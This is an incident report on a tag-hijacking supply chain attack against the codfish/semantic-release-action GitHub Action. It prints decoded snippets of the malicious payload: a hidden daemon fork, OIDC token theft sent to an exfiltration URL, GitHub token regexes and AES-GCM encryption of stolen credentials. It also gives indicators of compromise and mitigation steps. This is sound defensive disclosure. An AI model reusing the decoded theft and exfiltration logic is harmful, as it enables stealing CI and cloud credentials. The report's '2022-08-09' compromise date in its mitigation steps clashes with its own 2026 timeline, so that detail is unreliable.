codfish/semantic-release-action compromised
· 2297 words · 11 minutes read
Supply Chain Compromise: codfish/semantic-release-action
Summary
An attacker rewrote the codfish/semantic-release-action tags across multiple semver versions — including v2.0.0, v2.2.1, v1.9.0, v1.8.0, v1.7.0, v1.6.2, and v1.6.1 — introducing a 512,000-character obfuscated JavaScript payload that harvests OIDC identity tokens, GitHub PATs, and fine-grained tokens, encrypts them with AES-128-GCM, and exfiltrates them to an attacker-controlled endpoint while spawning a detached background daemon to persist beyond the GitHub Actions job boundary. The payload also implements a self-propagation mechanism capable of injecting copies of itself into other repositories using harvested GitHub API credentials. Any workflow that executed the compromised action under any of the affected tags should be treated as fully compromised; the last known-safe commit SHA for v2.0.0 is da160b1641c06934ddd00715c6594be85acb5fce.
Background
GitHub Actions allows workflow authors to reference reusable actions by owner, repository name, and a ref — typically a semver tag such as v2.0.0. At resolution time, the GitHub Actions runner dereferences that tag to whatever commit it currently points to. Because tags are mutable Git references, a repository owner or anyone with sufficient repository access can silently repoint a tag to a different commit at any time without any notification to downstream consumers. Workflows that reference actions by tag rather than by immutable commit SHA therefore carry an implicit trust relationship: every job execution implicitly trusts whoever controls the upstream repository to have left the tag honest. This attack surface — moving a trusted tag to a malicious commit, sometimes called tag-squatting or tag-hijacking — requires no modification of the consuming repository and leaves no trace in the consumer’s own commit history, making detection entirely dependent on monitoring the upstream repository for tag drift.
Timeline
2026-06-24 15:39:06z- Malicious commit6b9501e1889cc45c91726729610cf69c2442b8c5, authored under the name Chris O’Donnell, introduced into thecodfish/semantic-release-actionrepository. This commit rewroteaction.ymlto convert the action from a Docker-based runner to a composite action and added the obfuscatedindex.jspayload. Tagv2.0.0was simultaneously repointed fromda160b1641c06934ddd00715c6594be85acb5fceto this commit.2026-06-24 15:50ish- Sean Smith (myself) raised an issue in thecodfish/semantic-release-actionrepository to report the tag drift and warn users to rollback to the last known-safe commit SHA.2026-06-24 16:05ish- Issues were disabled on the repository.2026-06-24 16:13- GitHub Security team contacted.2026-06-24 16:28- More versions are detected compromised, including v3.2.0, v3.3.0, v3.4.0, v3.5.0, v4.0.1, and v5.0.0 all repointed to the same malicious commit5792aba0e2180b9b80b77644370a6889d5817456.2026-06-24 16:38- An additional set of versions are detected compromised, including v3.0.0, v3.1.0, v3.1.1, v3.4.1, and v4.0.0 all repointed to the same malicious commit5792aba0e2180b9b80b77644370a6889d5817456.
Attack Analysis
This attack constitutes a direct Poisoned Pipeline Execution (d-PPE) delivered via tag-hijacking: the attacker repointed mutable semver tags to a malicious commit, ensuring that any downstream workflow resolving those tags would execute the attacker’s code with full access to the runner’s secret environment.
Delivery Mechanism
The attacker rewrote action.yml to replace the original Docker-based execution model with a composite action containing three sequential steps. The first step delegates to the legitimate action pinned at the known-safe SHA 8f9a58f2, providing functional cover — the action appears to work correctly. The second and third steps unconditionally install the Bun JavaScript runtime (oven-sh/setup-bun) and execute index.js via bun run $GITHUB_ACTION_PATH/index.js, both gated with if: always(). The if: always() condition is critical: it guarantees the malicious steps run even when the legitimate step fails, and prevents standard CI failure-gating from blocking execution. Consumers pinning to a tag rather than a commit SHA received this payload automatically on their next workflow run without any change to their own repository.
Payload Behavior
index.js is a single-line, 512,000-character obfuscated JavaScript file. It uses a custom base64-encoded string table (_0x2bf5), a shuffled anti-tamper IIFE, and a secondary decode layer (fc919d7ad) wrapping the primary lookup function _0x5d09. All identifiers, URLs, and string literals are encoded; no plaintext IOC strings are directly visible. Analysis of decoded segments reveals the following execution sequence:
1. Daemon detachment (function V5): On first execution, the payload detects the absence of process.env.__IS_DAEMON, then calls Bun.spawn() to relaunch itself with __IS_DAEMON=1 and all stdio set to 'pipe' (suppressed). The parent process polls the child PID and calls process.exit(0), detaching the malicious payload from the Actions step. The background process continues running after the step — and potentially after the job — exits.
// Decoded logic of V5 (daemon fork)
if (!process.env.__IS_DAEMON) {
const child = Bun.spawn(process.argv, {
env: { ...process.env, __IS_DAEMON: '1' },
stdout: 'pipe', stderr: 'pipe', stdin: 'pipe'
});
setInterval(() => { if (child.pid) process.exit(0); }, 100);
}
2. OIDC token theft (class r9, method index 0x39e): The payload reads ACTIONS_ID_TOKEN_REQUEST_TOKEN and ACTIONS_ID_TOKEN_REQUEST_URL from process.env, fetches a GitHub OIDC identity token from GitHub’s token endpoint, and immediately HTTP POSTs it to an obfuscated external URL with the token in both the Authorization header and as the oidcToken JSON body field.
// Decoded OIDC harvest logic
const { ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL } = process.env;
const tokenResponse = await fetch(
ACTIONS_ID_TOKEN_REQUEST_URL + audienceSuffix,
{ headers: { Authorization: 'bearer ' + ACTIONS_ID_TOKEN_REQUEST_TOKEN } }
);
const { value: oidcToken } = await tokenResponse.json();
await fetch(exfilURL + encodeURIComponent(packageName), {
method: 'POST',
headers: { Authorization: 'bearer ' + oidcToken },
body: JSON.stringify({ oidcToken })
});
An OIDC token obtained this way can be presented directly to AWS STS (AssumeRoleWithWebIdentity), GCP OAuth2 (generateIdToken / Workload Identity), or Azure AD (federated credential exchange) to obtain short-lived cloud provider credentials — without any static secrets being stored in the repository.
3. GitHub token harvesting (class v): The payload scans process environment variables, file contents, and memory for GitHub credentials using the following regex patterns:
// class v — credential regex patterns
'ghtoken': /gh[op]_[A-Za-z0-9]{36,}/g, // GitHub OAuth tokens and PATs
'fgtoken': /gith[A-Za-z0-9_]{36,}/g // Fine-grained GitHub PATs
4. Credential encryption (functions J0, R4): Harvested credentials are encrypted with AES-128-GCM before transmission. The derived key (mV()), IV (12 bytes), and authentication tag (16 bytes) are hex-encoded and bundled with the ciphertext. A PEM private key block (-----BEGIN PRIVATE KEY-----) embedded in the obfuscated string table is assessed to serve as a master key or signing material for this encryption pipeline.
// Decoded AES-GCM pipeline (R4)
const cipher = createCipheriv('aes-128-gcm', derivedKey, iv); // keyLen=16, ivLen=12
const encrypted = Buffer.concat([cipher.update(plaintext), cipher.final()]);
const tag = cipher.getAuthTag(); // tagLen=16
return { iv: iv.toString('hex'), tag: tag.toString('hex'), data: encrypted.toString('hex') };
5. Self-propagation (function pq): Using harvested GitHub tokens, pq calls the GitHub Contents/Trees API (POST /repos/<owner>/<repo>/git/trees) to create new tree objects containing copies of the malicious payload, then commits them to target repositories. This matches the propagation pattern documented in the Shai Hulud GitHub Actions worm family.
6. Conditional targeting (function pW): The payload reads WORKFLOW_ID and REPO_ID_SUFFIX environment variables and matches them against GITHUB_WORKFLOW_REF and GITHUB_REPOSITORY, with an additional feature flag decoded from fc919d7ad('cXZcJLodWdoMu8bzHK9gUDOkuIyWeiHgoOkD5LZi'). This allows the attacker to remotely enable or disable specific behaviors per repository or workflow, indicating a command-and-control capability.
Collection and Exfiltration
The payload harvests: OIDC identity tokens (exchangeable for cloud provider credentials at AWS, GCP, and Azure); GitHub OAuth tokens matching gh[op]_*; fine-grained GitHub PATs; and any additional secrets present in the runner environment. The exfiltration target is encoded within the obfuscated string table and was not recoverable within the analysis window — exfiltration target not yet confirmed. Network egress to any non-GitHub HTTPS endpoint from affected jobs should be treated as potentially exfiltration traffic.
Affected Tags (there may be more, and this list may grow as the investigation continues)
| Tag | Old Commit | New Commit | Detected At |
|---|---|---|---|
| v1.6.1 | b874e56aff18b352770636e968b049c65417ecc9 | b89c02cd8e53e6ccb273dbb97ba406f6f3d6edac | 2026-06-24 15:39:06.295001 +00:00 |
| v1.6.2 | 4c8b6b54fd5837bd125debe55b21790b56b05f93 | f4236f6facccab8f00d3753051ad8688c13fd31e | 2026-06-24 15:39:06.916871 +00:00 |
| v1.7.0 | 551a64c48d12ea9d29ffda3e1c64330e5d5e900d | 9a7f3d5ff74bfbc8ad35ca61bb20eca191cad89d | 2026-06-24 15:39:07.548684 +00:00 |
| v1.8.0 | f8880108095101228dc911ec47d042e1265caecc | 22e558b851cb357fb8e3fc70c8f6e1e328071013 | 2026-06-24 15:39:08.272056 +00:00 |
| v1.9.0 | 4e9fa8ec064813465dfeccac8ae70f1348fb5dec | 9634bd264822a6c251491d8c88e3fedd90dd8a4c | 2026-06-24 15:39:09.371775 +00:00 |
| v2.0.0 | da160b1641c06934ddd00715c6594be85acb5fce | 6b9501e1889cc45c91726729610cf69c2442b8c5 | 2026-06-24 15:39:10.881489 +00:00 |
| v2.2.1 | 3607258ae5976084750909dbda50a850cb76ec3a | ab8ef2155f5d492c969aa2e7409b0ed121456bb7 | 2026-06-24 15:39:12.865539 +00:00 |
| v3.0.0 | ee5b4afec556c3bf8b9f0b9cd542aade9e486033 | 5792aba0e2180b9b80b77644370a6889d5817456 | 2026-06-24 16:38:43.672641 +00:00 |
| v3.1.0 | 07170c8b1613177f0f3aa4d2224e2e0933cd732c | 5792aba0e2180b9b80b77644370a6889d5817456 | 2026-06-24 16:38:44.303589 +00:00 |
| v3.1.1 | b9aa6f1730e80caa17d80b40f4659b5d3584114c | 5792aba0e2180b9b80b77644370a6889d5817456 | 2026-06-24 16:38:44.793522 +00:00 |
| v3.2.0 | f93cffb9a0c7449d938e275a7a2db12256de2a1c | 5792aba0e2180b9b80b77644370a6889d5817456 | 2026-06-24 16:28:50.813158 +00:00 |
| v3.3.0 | b0e57c976bf8f74b2454f59a30e4a1b5f11727b4 | 5792aba0e2180b9b80b77644370a6889d5817456 | 2026-06-24 16:28:51.313411 +00:00 |
| v3.4.0 | ac1b7f3783fefcdefdef4f8e3acfbc7e899d5a70 | 5792aba0e2180b9b80b77644370a6889d5817456 | 2026-06-24 16:28:51.823152 +00:00 |
| v3.4.1 | 9a999e0cdb207de2c9d9d4276860435727818989 | 5792aba0e2180b9b80b77644370a6889d5817456 | 2026-06-24 16:38:45.605924 +00:00 |
| v3.5.0 | b621d34fabe0940f031e89b6ebfea28322892a10 | 5792aba0e2180b9b80b77644370a6889d5817456 | 2026-06-24 16:28:52.318049 +00:00 |
| v4.0.0 | 22ce451ffd02a9ee2c4bfd126d028e4bd655770e | 5792aba0e2180b9b80b77644370a6889d5817456 | 2026-06-24 16:38:46.589108 +00:00 |
| v4.0.1 | 6c65402abb31a48c3f7396d7d099da015be67c2b | 5792aba0e2180b9b80b77644370a6889d5817456 | 2026-06-24 16:28:52.913570 +00:00 |
| v5.0.0 | 6abd188d2458e2fd6c99073454f6cc49196362e8 | 5792aba0e2180b9b80b77644370a6889d5817456 | 2026-06-24 16:28:53.342606 +00:00 |
- Note there have been a few additional cases where the tags have drifted again after the initial compromise (likely to fix or adjust things), I have excluded those and only included the original drift events to make the table more readable and reduce the risk of someone grabbing an infected commit.
Indicators of Compromise
Network
- Exfiltration endpoint: not confirmed — encoded within the obfuscated string table beyond the 512 KB analysis window. Defenders should treat all outbound HTTPS POST requests to non-GitHub domains (
api.github.comexcluded) originating from jobs that executed this action as suspicious. - OIDC token exchange: outbound
GETtoACTIONS_ID_TOKEN_REQUEST_URL(legitimate GitHub endpoint) followed immediately by aPOSTto an external domain is the detectable network sequence for this credential theft stage.
Repository
- Malicious commit SHA (initial drift, v2.0.0):
6b9501e1889cc45c91726729610cf69c2442b8c5 - Last known-safe commit SHA (v2.0.0):
da160b1641c06934ddd00715c6594be85acb5fce - Affected repository:
codfish/semantic-release-action - Affected tags: v2.0.0, v2.2.1, v1.9.0, v1.8.0, v1.7.0, v1.6.2, v1.6.1 (all drifted; see full table above)
- Malicious file added:
index.js— single-line file, >512,000 characters, no prior existence in repository history - Modified file:
action.yml—runs:block changed fromusing: dockertousing: composite; new steps added invokingoven-sh/setup-bunandbun run $GITHUB_ACTION_PATH/index.js, both withif: always() - Commit author field: Chris O’Donnell (assess as spoofed or compromised maintainer identity; treat as unconfirmed attribution)
Process / Runtime
These artifacts are ephemeral and visible only during the workflow run window. They will not persist after runner teardown on ephemeral hosted runners.
- Daemon process: A child
bunprocess launched with__IS_DAEMON=1in its environment, with all stdio suppressed. On self-hosted runners, this process may survive job completion. Detect viaps aux | grep bunor runner process tree inspection. - Environment variable access: Reads of
ACTIONS_ID_TOKEN_REQUEST_TOKEN,ACTIONS_ID_TOKEN_REQUEST_URL,GITHUB_TOKEN,GITHUB_WORKFLOW_REF,GITHUB_REPOSITORY,WORKFLOW_ID,REPO_ID_SUFFIX, and__IS_DAEMONby abunchild process are anomalous and detectable via eBPF-based runtime monitoring (e.g., Falco, Tetragon). - Crypto operations:
createCipherivcalls with algorithmaes-128-gcmoriginating from a GitHub Actions step not authored in the consuming repository’s own codebase. - Self-propagation: Outbound
POSTrequests toapi.github.com/repos/*/git/treesfrom a step not expected to perform Git operations; these are distinguishable from legitimate semantic-release API calls by their payload structure (file content injection).
Mitigation
Immediate (within 24 hours)
1. Pin to the known-safe SHA. Replace all tag-based references to this action in every workflow file across your organization:
# BEFORE (vulnerable — resolves to attacker-controlled commit)
- uses: codfish/semantic-release-action@v2.0.0
# AFTER (safe — immutably pinned to last known-good commit)
- uses: codfish/semantic-release-action@da160b1641c06934ddd00715c6594be85acb5fce
Verify no other semver tags in this repository have drifted by comparing all tag SHAs against the table in the Affected Tags section above.
2. Rotate cloud credentials — highest blast radius first. For every repository whose workflows executed codfish/semantic-release-action at any affected tag or SHA after 2022-08-09T11:43:27Z:
- AWS: Identify all IAM roles with trust policies bound to the GitHub OIDC provider (
token.actions.githubusercontent.com) scoped to affected repositories. Revoke active sessions (aws sts get-caller-identityaudit) and rotate or re-create role trust policies. Review CloudTrail forAssumeRoleWithWebIdentitycalls from GitHub Actions since the compromise date. - GCP: Audit Workload Identity pool bindings for affected repositories. Rotate service account keys. Review Cloud Audit Logs for
generateIdTokenand federated credential exchange events. - Azure: Review federated identity credential configurations on managed identities. Audit Azure AD sign-in logs for OIDC exchanges originating from GitHub Actions since the compromise date.
3. Revoke GitHub tokens. Treat all GitHub credentials present in any affected runner environment as compromised:
- Revoke and regenerate all repository-level and organization-level PATs that were in scope for affected workflow runs.
- Rotate
GITHUB_TOKEN-scoped permissions by auditing Actions secrets; note thatGITHUB_TOKENis ephemeral per job but any derived operations (e.g., API calls using it) should be reviewed in audit logs. - Revoke fine-grained PATs matching the pattern
/gith[A-Za-z0-9_]{36,}/.
4. Audit for self-propagation. Search all repositories in your GitHub organization for:
# Search for single-line obfuscated JS additions in recent commits
gh api /orgs/{org}/repos --paginate | \
jq -r '.[].full_name' | \
xargs -I{} gh api /repos/{}/commits --jq '.[] | select(.commit.message | test("index.js")) | .sha'
# Inspect action.yml modifications for bun run steps
grep -r "bun run" .github/workflows/ path/to/checked-out-repos/
Audit organization webhooks, deploy keys, repository collaborators, and Actions secrets for entries created after 2022-08-09T11:43:27Z.
5. Terminate live daemon processes. On self-hosted runners, identify and kill any bun processes with __IS_DAEMON=1 in their environment, then reimage all self-hosted runners that executed the compromised action. Ephemeral GitHub-hosted runners are automatically destroyed after each job and do not require this step.
6. Review egress logs. Search runner network egress logs for outbound HTTPS POST requests to non-GitHub domains made between job start and job completion for any job that used this action. The OIDC exfiltration step produces a distinctive two-request sequence: a GET to the GitHub token endpoint immediately followed by a POST to an external domain.
Longer-Term
Pin all third-party Actions to SHAs. This incident demonstrates that semver tag references provide no integrity guarantee. Establish an organizational policy — enforceable via actions/checkout policy files or tools such as StepSecurity Harden-Runner — requiring all uses: references to third-party actions to specify a full 40-character commit SHA with an inline comment identifying the corresponding version:
- uses: codfish/semantic-release-action@da160b1641c06934ddd00715c6594be85acb5fce # v2.0.0
Adopt OIDC short-lived credentials and eliminate static secrets. Ironically, OIDC was the primary exfiltration vector here precisely because it is powerful. Confine OIDC trust policies to specific repository and branch conditions (sub claim scoping) and set short token TTLs to limit the usable window for stolen tokens.
Enable egress monitoring on runners. Tools such as StepSecurity Harden-Runner can block or alert on unexpected outbound connections from workflow steps, providing a detection layer independent of source-code review.
Enroll in OpenSSF Scorecard and Dependabot for Actions. Automated tooling that flags mutable tag references and monitors upstream action repositories for unexpected commits reduces mean time to detection for future tag-drift attacks.